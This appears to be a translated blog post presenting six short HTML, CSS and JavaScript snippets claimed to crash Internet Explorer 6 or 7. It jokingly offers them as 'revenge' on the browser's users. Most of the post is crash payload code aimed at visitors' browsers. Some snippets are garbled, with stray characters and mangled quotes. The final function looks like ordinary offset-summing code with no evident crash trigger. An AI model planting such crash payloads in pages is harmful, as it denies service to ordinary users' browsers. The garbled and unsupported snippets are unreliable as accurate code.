📜 ⬆️ ⬇️

6 examples dropping IE6

Who is hated by IE6? Unfortunately, developers have to deal with this outdated browser due to the significant amount of people using it.

Here is a small, non-exhaustive list of code that causes IE6 to crash.

Still, after such torment for developers, can we not have the right to revenge?
')
Let's start with the longest:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"> <html> <head> <title>CRASH-IE</title> <style type="text/css"> html, body { overflow: hidden; scrollbar-base-color: #330066; } .crash { position:absolute; left:200px; top:200px; width:200px; } </style> <script type="text/javascript"> function galgenfrist() { window.setTimeout('crashIE();',1000); } function crashIE() { var moveNode = document.getElementById("move"); if(moveNode) { moveNode.style.top = "100px"; moveNode.style.left = "200px"; } } </script> </head> <body onload="galgenfrist();"> <h1>CRASH-IE</h1> <div id="move" class="crash"> <table> <tbody> <tr> <td> <textarea></textarea> </td> </tr> </tbody> </table> </div> </body> </html> 


Javascript and IE6, a true love story ...

 <script>for (x in document.write) { document.write(x);}</script> 


This was discovered last year:

 <style>*{position:relative}</style><table><input></table> 


Anti-IE Javascript Strikes Back!

 <body onLoad=†window()†> 


And now my favorite: 11 characters and boom:

 <STYLE>@;/* 


This is the only one I know who puts IE7:

 function getX( oElement ) { var iReturnValue = 0; while( oElement != null ) { iReturnValue += oElement.offsetLeft; oElement = oElement.offsetParent; } return iReturnValue; } 

Source: https://habr.com/ru/post/148185/


All Articles